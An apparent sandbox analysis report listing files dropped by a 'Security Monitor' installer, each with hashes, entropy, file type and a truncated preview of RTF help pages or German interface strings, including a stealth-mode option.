SSDEEP:	384:qY6g3X45Y8qb7PzybdKkjnxhVj+pmvhY3q2g4Qi6rGsoUwEAG2DaGa:qhg3WxhVCpm5cNZdU4a
MD5:	D0412C982483B1FF14AFA1B5C84956B2
SHA1:	1CBFDCC34F3DBFAC69E0DBC156B7A14A9E68F0FF
SHA-256:	BB09C2D2E43E921D0A42D1EB90AC5EB5639D85A5DFAECF38D36DC3B1D35DF9F8
SHA-512:	A1545A9E433401BB884D801D9FE76C37D8F00A68E9569A62873142446271FEF153A3B2770BA0F9FF11179DCEF03803ECD5CDC9DAA651FCF6036B36FD27556367
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1252\uc1\adeff31507\deff0\stshfdbch31506\stshfloch31506\stshfhich31506\stshfbi31507\deflang3082\deflangfe3082\themelang3082\themelangfe0\themelangcs0{\fonttbl{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}{\f34\fbidi \froman\fcharset0\fprq2{\\panose 02040503050406030204}Cambria Math;}..{\f37\fbidi \fswiss\fcharset0\fprq2{\\panose 020f0502020204030204}Calibri;}{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset0\fprq2{\\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\flominor\f31504\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbminor\f31505\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\fh

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\french\noPRO.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	52940
Entropy (8bit):	4.975127205823685
Encrypted:	false
SSDEEP:	768:wqeaxjEJHT2njX8x3TLjwUtqYepAkVZEdvI9DhL8DqGJU4wEgmODwKEPrTDjwEaP:wql9hL8/44J0IA9H
MD5:	3F8E8B70614BCFC77C9E8A18E5B10EBF
SHA1:	1AAEB77F20B21A38684CDEDB73575D291C903060
SHA-256:	F55FBEE6CA1A13B8462150E411B63B84763DA220846DF944877DB2F3C617D8AC
SHA-512:	1C4262B5FB06626E41CF0CDD834F8A36007354934A07A24E4FF03BD6DBE45F4E8D52E06B4A08081E2AFEA8CCDD59E684ACF7241EC30B00AF526AB61A5F88ECAC
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff0\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\*\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\french\noURL.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	68054
Entropy (8bit):	4.9836821536158835
Encrypted:	false
SSDEEP:	768:wqFy4Te+UJHT2njX8x3TLjwUtqYepAkVZEdvI9vT4H1qRKPN6K2ZREhe5Vu3bXrr:wqJ6IT4HQ++PUIA9pP
MD5:	A7279F7C4C7B0BCB8653144D541FAC2A
SHA1:	6B24410FF99110DB0A369E7CB73E990B799555F8
SHA-256:	CCFBF10B3E30471B234505F21E1929CA1388CD2959423E554A82E0EBF0946D21
SHA-512:	B7C36C86657AE567FD1BF553965F2A6739698A70B82B6A3E64121D056A1941BAD8A1BA867CB1D1B1D83AA7E42B7206786BC712CAD07E517DCB3A0B80F97F26FC
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff0\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}{\f38\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604030504040204}Tahoma;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Tim

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\french\scheduler.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
Category:	dropped
Size (bytes):	42179
Entropy (8bit):	5.051623327565713
Encrypted:	false
SSDEEP:	768:Vk1q34J9zZenGLQ4oaqVYmSSlSQ4KxTmmVQP9RTaC0n1azbtSqqjgq4Tt:VklnIVQPc4Tt
MD5:	5BF7705E104DAE21287D29BA6B73F990
SHA1:	68FE0FAEB83DD82163599C4A0C86A42EB0E1645F
SHA-256:	425E9788DA3299CCF2FE2E25AD8E4BF0EF65F22E2F10702C7EDA2FA6D160917A
SHA-512:	A3D6C652A8C362B22B5F4FE4879411C5468DAAE6ACB6A13DA947D14C8E483C83138DC18212E8D2A1D22656985A2AFED8373A7023B4C4D0BD3992EDBEA0D7875E
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1252\uc1\adeff0\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang3082\deflangfe3082\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset0\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset0\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset0\fprq2{\\panose 020f0502020204030204}Calibri;}{\f38\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604030504040204}Tahoma;}..{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\french\screenshot.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
Category:	dropped
Size (bytes):	45200
Entropy (8bit):	5.054793082738369
Encrypted:	false
SSDEEP:	768:Vk1q34J9zZenGLQ4oaqVYmSSlSQ4KxTmm38RiaKvX2pBEz/9qj+793RM1HWMV5XA:VklnI3K4T7
MD5:	C60A8FC0107FBDBEF9FDD171B44442FD
SHA1:	F0F4187630411D3F6F0DE7ECD98CE99AAD45AAD9
SHA-256:	576A4766C686DC03E95228C84262970BC266ECE801DB7127E68EB8F1080CCFFC
SHA-512:	5E209424A9E25DF565C3648A4350AD76FF144165ACBF02FCD891B1F6EB87AA0CEBE3710F9903D9F796005724B44843E8D36E41768BF2E4188191E97ED58D5C61
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1252\uc1\adeff0\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang3082\deflangfe3082\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset0\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset0\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset0\fprq2{\\panose 020f0502020204030204}Calibri;}{\f38\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604030504040204}Tahoma;}..{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\french\settings.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
Category:	dropped
Size (bytes):	53715
Entropy (8bit):	5.038599976742919
Encrypted:	false
SSDEEP:	768:Vk13TxjelQcX09coHJreOYSN4UIRopZMggLBbWm6V6ER4IE5RP9lIXsqJo6vjo4S:VkLjcv4TI
MD5:	6E82D6B3AAD2EAEC506AA8ABD4728C58
SHA1:	622141D986976DC0ADB2DB17698DBC082BE74674
SHA-256:	91A6F151A727086D36660F130446F70FE6115808C5E56FA36FC82A8CAE25A481
SHA-512:	B0C477686E7583EF9412912A72A7644F80D20EB8EF904E7B0A3F2F89D4B2DB0DD7FC9FDB61B4969787AAE3C931D1B15EA8BAE1BC07CE3D340F40CD3D182804A9
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1252\uc1\adeff0\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang3082\deflangfe3082\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset0\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset0\fprq2{\\panose 020f0502020204030204}Calibri;}{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset0\fprq2{\\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\flominor\f31504\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}..{\fdbminor\f31505\fbidi \

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\french\siteblock.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
Category:	dropped
Size (bytes):	44992
Entropy (8bit):	5.035044653724291
Encrypted:	false
SSDEEP:	768:VkGN4Jt0TaGC5X2kwYp+CjcWkDxKWzHkp2Cj3DQS7RfUaMpQXtjfGKSMpoFbaq0r:VkHx/o6Ns4Tp
MD5:	A4B133AED3E483AD18F78E5A993333DC
SHA1:	0B90C31D5E00389329B841BC8AAE13DD5773A69B
SHA-256:	CAAC008A1495175A0AE18434537C0053B46D5289F3128800D689BC7FA4F92830
SHA-512:	A34192B8217C7352E3907976062BC5B3BAB5B6FDE2C9A8C885CA8DD8E48EE9A94226EBF6AE1E05371A051CF041E8C4DCB08957F257C5A349EFEF679A5059F8FF
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1252\uc1\adeff0\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang3082\deflangfe3082\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset0\fprq2{\\panose 02040503050406030204}Cambria Math;}{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset0\fprq2{\\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\flominor\f31504\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbminor\f31505\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\fhi

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\french\snapshot.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
Category:	dropped
Size (bytes):	44713
Entropy (8bit):	5.051900255865599
Encrypted:	false
SSDEEP:	768:Vk1q34J9zZenGLQ4oaqVYmSSlSQ4KxTmmqARQOjeF/RS+Lp9XhPXhnPnCLTXM40K:VklnIqxR4Td
MD5:	1BD599E9D3E51995F3F39B6B680BCF5D
SHA1:	E0192B60533DD734AD8B4500125A25E78A48E551
SHA-256:	3894B01C5A095E0EA124AE6FE638F75990FB12D96FFD000EDAAD43D9399D5DEF
SHA-512:	726F4E9BED9C4CBF56AC082A81512ED842EADC28028FD6A8895954C4E946F20681E8C6A28236674E3B1006538E10EC2F5974C4F115D74DD1928E7DC2ABA3FF07
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1252\uc1\adeff0\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang3082\deflangfe3082\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset0\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset0\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset0\fprq2{\\panose 020f0502020204030204}Calibri;}{\f38\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604030504040204}Tahoma;}..{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\french\sound.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
Category:	dropped
Size (bytes):	44025
Entropy (8bit):	5.051099948351621
Encrypted:	false
SSDEEP:	768:Vk1q34J9zZenGLQ4oaqVYmSSlSQ4KxTmmqoRWhsPVafhFuogRkPcStxSUeXeq4Ts:VklnIqi4Ts
MD5:	FCD907A82F0CC0B40AB352E6A1D330A9
SHA1:	AB3E2A7ED7791D51D6656A5A133A09CB87A98688
SHA-256:	20618AE093716DFFBF4B00CEBAADE7A5E33D628858BE3B81DD766343752CA2EF
SHA-512:	260890BB6352AE544AFA660DB1CF91CC1CDF5A2843F753F9291F1DB96E7B7E7E1BA10960E48A58F9B42CDD20CFE33C27A10A0A522A713EE8D95711A8ED31A307
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1252\uc1\adeff0\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang3082\deflangfe3082\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset0\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset0\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset0\fprq2{\\panose 020f0502020204030204}Calibri;}{\f38\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604030504040204}Tahoma;}..{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\french\video.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
Category:	dropped
Size (bytes):	46393
Entropy (8bit):	5.040883358685065
Encrypted:	false
SSDEEP:	768:Vk1q34J9zZenGLQ4oaqVYmSSlSQ4KxTmmq9RXRjOotI3qyLbfl4vBLbflAvQLbft:VklnIqG4Tb
MD5:	A44BC6DAA0FB852B0CC5F2930B338509
SHA1:	2E78886E8630AA1D8AEB320F5324635B36FE241E
SHA-256:	87355813ED68AB3CC1FC6AC77DBC2AA16248012FACAEE98F06F106A28D2F688D
SHA-512:	A589A22F3E556B104ECA9D4E557B65218C254587DC3CD73569D7F0101CD1073E61068699BD48CF0B4A695772C82FAD1A689ABC7D6CCB90A043E1FE729140B795
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1252\uc1\adeff0\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang3082\deflangfe3082\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset0\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset0\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset0\fprq2{\\panose 020f0502020204030204}Calibri;}{\f38\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604030504040204}Tahoma;}..{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\french\websites.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	42991
Entropy (8bit):	5.042023549126302
Encrypted:	false
SSDEEP:	768:wqFkwxjeVGh+DoLLXI1nhDGi3w2EHlT2njX8x3DGRlBB42Nn92knS7eOZ/6A97:wqR3zIA97
MD5:	4406D386834A212EB3AD85B6410AEE1B
SHA1:	FE40A4177AEBEF814E9104273942637E62180E61
SHA-256:	4C083A2E2B9A6314BE4C4616010210D7191A949BB5849D140631CAA6AF0B8E5D
SHA-512:	DAD1AC26094545FFBB57D74B6C04ACB2E5279F8B045D3BD53CB27ACD877F6FDC4C9A6894B7A703C5A94EF6805E2AD98D7B1C6588CF9CF90BB790AE2625AA8AD0
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff0\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\panose 0

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\german.lng (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	19337
Entropy (8bit):	5.025077721740106
Encrypted:	false
SSDEEP:	384:USTHedgI9UbHmTZCmfwoxKza62zxpZ6EV00azBKh:U0I2bH2kRKKzwxpZnj4Kh
MD5:	7EB33A9C085F56E0004E166D1702EEA1
SHA1:	C8C514993F866C3282F2E53C231E5961EE8E3B90
SHA-256:	F96F92DFCD7C119EBD998989312F009D9ABA9E5C3A5B7899A8DD146370F5AFC4
SHA-512:	BA7B7716AD33D71247CEE9CC8B630BBA9B948654D366A892D5F1471B4A5FAD908A774600E8577223FFC043D4BD620BFC4222D2CC833B2AD1DF13CF7ADA5A203E
Malicious:	false
Reputation:	unknown
Preview:	.[LngFile]..###############################################################################..####### Attention! Do Not change the key phrases left of sign "="! ############..###############################################################################..tbStart="Start"..tbStartHint="Erfassung aktivieren"..tbStop="Stop"..tbStopHint="Erfassung deaktivieren"..tbFind="Finden"..tbFindHint="Nach Protokoll Informationen suchen"..tbSetting="Einstellungen"..tbSettingHint="Programm Einstellungen"..tbAbout=".ber"..tbAboutHint=".ber/ Informationsinfo"..tbHomePage="Home Page"..tbHomePageHint="Gehen Sie zum Programm Home Page"..tbToday="Heute"..tbTodayHint="Gehen Sie zum heutigen Protokoll"..tbHide="Verstecken"..tbHideHint="Stelth Modus (Kein Icon im Systempfad)"..tbMinimize="Minimieren"..tbMinimizeHint="Auf Ablage minimieren"..tbExit="Ausgang"..tbExitHint="Ausgang und Protokollstopp"..gbLog="Vorgangsprotokoll"..tCurrLogSize="Protokollgr..e (Mb)"..tCurrScrSize="Screenshots Gr..e (Mb)"..tCur

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\german\SN.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 2145
Category:	dropped
Size (bytes):	42867
Entropy (8bit):	5.0494431999578
Encrypted:	false
SSDEEP:	768:BXKxdC6T2njX8x3TLjwUtqYepfwDyQbLjJAfop7ATX8zOpSyXZSpyEW7HuHlV1Z9:BYFfIA9p
MD5:	2130BD1D1919D711A5AF21035C3503CC
SHA1:	0F92AF4AD5D98942DD464C2D2DBFB2D23FC7BF1B
SHA-256:	C62CAA4DFD7ADE415A27535B12C7B80992C1617106CEA4D271D8B159D97DC724
SHA-512:	28EF2FF5A3AA227A1532E1283EB5D530F8BC45C401B346503A60CA026718D64A5CB020D198DC43B16FCD3FA751E36524D8BDDEB7E8FA9D3209B86211AB728612
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang2145\ansi\ansicpg1252\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1031\deflangfe1031\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset0\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset0\fprq2{\\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset0\fprq2{\\panose 020206

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\german\activity.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 2145
Category:	dropped
Size (bytes):	37003
Entropy (8bit):	5.038330646707192
Encrypted:	false
SSDEEP:	768:BbKxdCjOcPI0QhhiLVZMB5WjuOBYB1xlmZ/6A9P:Bs5Un9IA9P
MD5:	75DF6CB458A94E38B33006A5BB1AB3CA
SHA1:	7EE17FB0A1760D5C89FC4B86CB98CF3EA71E333D
SHA-256:	81275BC2F9DF017DD33438D44E3F4ACECDAC376281CD5C37F782538D937F8E3F
SHA-512:	89CD75E4140B9C9F90DB760FA806039017AF4558FC74AE5327F547DD7E3DF14710925F1F7C55C648F7A947753B48703A1AC47F905C9EDF454599828F3CD4A86D
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang2145\ansi\ansicpg1252\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1031\deflangfe1031\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}..{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset0\fprq2{\\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\flominor\f31504\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbminor\f31505\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\fhimino

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\german\alarms.rtf (copy)

Download File

